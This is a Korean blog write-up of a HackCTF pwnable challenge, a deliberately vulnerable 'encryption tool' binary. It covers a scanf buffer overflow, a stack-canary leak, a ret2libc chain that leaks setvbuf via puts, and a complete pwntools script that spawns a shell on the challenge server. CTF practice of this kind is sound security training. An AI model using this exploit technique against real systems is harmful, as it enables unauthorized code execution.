본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) World Best Encryption Tool

by snwo 2020. 9. 17.

실행시키면 $rbp-0x80 에 입력을 받고  암호화 해서 출력한다. (딱봐도 28 이랑 XOR 연산) 

57글자부터 canary값으로 추정되는값이 leak 된다.


Analyze

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  uint local_90;
  char local_8c [4];
  byte local_88 [64];
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  do {
    puts("Your text)");
    __isoc99_scanf(&DAT_00400913,local_88);
    local_90 = 0;
    while (local_90 < 0x32) {
      local_88[(int)local_90] = local_88[(int)local_90] ^ 0x1c;
      local_90 = local_90 + 1;
    }
    strncpy(local_48,(char *)local_88,0x39);
    printf("Encrypted text)\n%s",local_48);
    puts("\nWanna encrypt other text? (Yes/No)");
    __isoc99_scanf(&DAT_00400913,local_8c);
    iVar1 = strcmp(local_8c,"Yes");
  } while (iVar1 == 0);
  iVar1 = strcmp(local_8c,"No");
  if (iVar1 != 0) {
    printf("It\'s not on the option");
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
 

local_8c ->$rbp-0x84

local_88 ->$rbp-0x80

local_48 ->$rbp-0x40

canary -> $rbp-0x8

 

local_88 scanf("%s",local_88) 으로 입력받아 BOF 가 발생한다.

32h (50) 만큼 0x1c 와 xor 연산하고, local_48 에 39h(57) 만큼 strcpy 한다.

strcpy 할 때, canary 가 1byte 덮힐 수 있고 0x40-0x39 = 0x7 (canary=rbp-0x8)

local_48 을 출력해주기때문에 canary leak 가 가능하다.

 

local_8cscanf("%s",local_8c) 으로 입력받아 마찬가지로 BOF 가 발생하고,

Yes 가 아닐 시, return 0 으로 종료한다.


Scenario

1. canary leak

 

xor 연산을 한 부분은 $rbp-0x40 ~ $rbp-0xE 으로 strcnpy된다, canary leak 와 관련이 없다.

복사되는곳에서 canary 까지의 거리는 0x40-0x8 = 38h (56), canary 의 첫바이트는 00 으로,

39h (57) 만큼 입력해야 leak 이 가능하다.

 

 

2. libc-base leak

 

Yes,No 를 입력받을때, canary까지 입력해 canary 를 덮고,

puts 함수로 리턴해 setvbuf@got leak 한뒤, libc database search 에서 system, /bin/sh 주소를 찾자.

main 으로 다시 돌린다.

 

(puts 나 printf 의 주소를 leak 하려면 오류가 난다..)

(Yes 를 입력하고, 다시 입력을 받고, No 를 입력해 리턴할수도. 하지만 strncpy 함수가 0x39byte 를 복사하므로, 카나리 1byte 가 덮이게된다. 물론 \x00 으로 맞추면 문제없다. No 가 아니여도 정상적으로 종료되고 깔끔해서 이렇게한다.)

 

 

3. system('/bin/sh') 로 리턴

 

system : 0x45390

/bin/sh : 0x18cd57

setvbuf : 0x6fe70

 


from pwn import *
r=remote("ctf.j0n9hyun.xyz",3027)
#r=process("/GitHub/Writeup/Wargame/HackCTF/World_best_encryption_tool")
b=ELF("/GitHub/Writeup/Wargame/HackCTF/World_best_encryption_tool")
context.log_level='debug'
prdi=0x4008e3 # pop rdi ; ret
main=b.symbols['main']

system_off=0x45390
binsh_off=0x18cd57
setvbuf_off=0x6fe70

#=====canary leak=====#
pay1='x'*57

r.sendlineafter("text)\n",pay1)
r.recvuntil("\n")
r.recv(57)
canary=u64(b'\x00'+r.recv(7))
log.info(hex(canary))

r.sendlineafter("No)\n","Yes")
r.sendlineafter("text)\n","snwo.tistory.com")
#=====leak libc=====#

pay2=b'x'*0x7c
pay2+=p64(canary)
pay2+=p64(0xdeadbeef)
pay2+=p64(prdi)
pay2+=p64(b.got['setvbuf'])
pay2+=p64(b.plt['puts'])
pay2+=p64(main)

r.sendlineafter("No)\n",pay2)
r.recvuntil("option")
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-setvbuf_off
system=libcbase+system_off
binsh=libcbase+binsh_off

log.success(hex(libcbase))

#=====system('/bin/sh')=====#

r.sendlineafter("text)\n","snwo.tistory.com")

pay3=b'x'*0x7c
pay3+=p64(canary)
pay3+=p64(0xdeadbeef)
pay3+=p64(prdi)
pay3+=p64(binsh)
pay3+=p64(system)
#pause()
r.sendlineafter("No)\n",pay3)
r.interactive()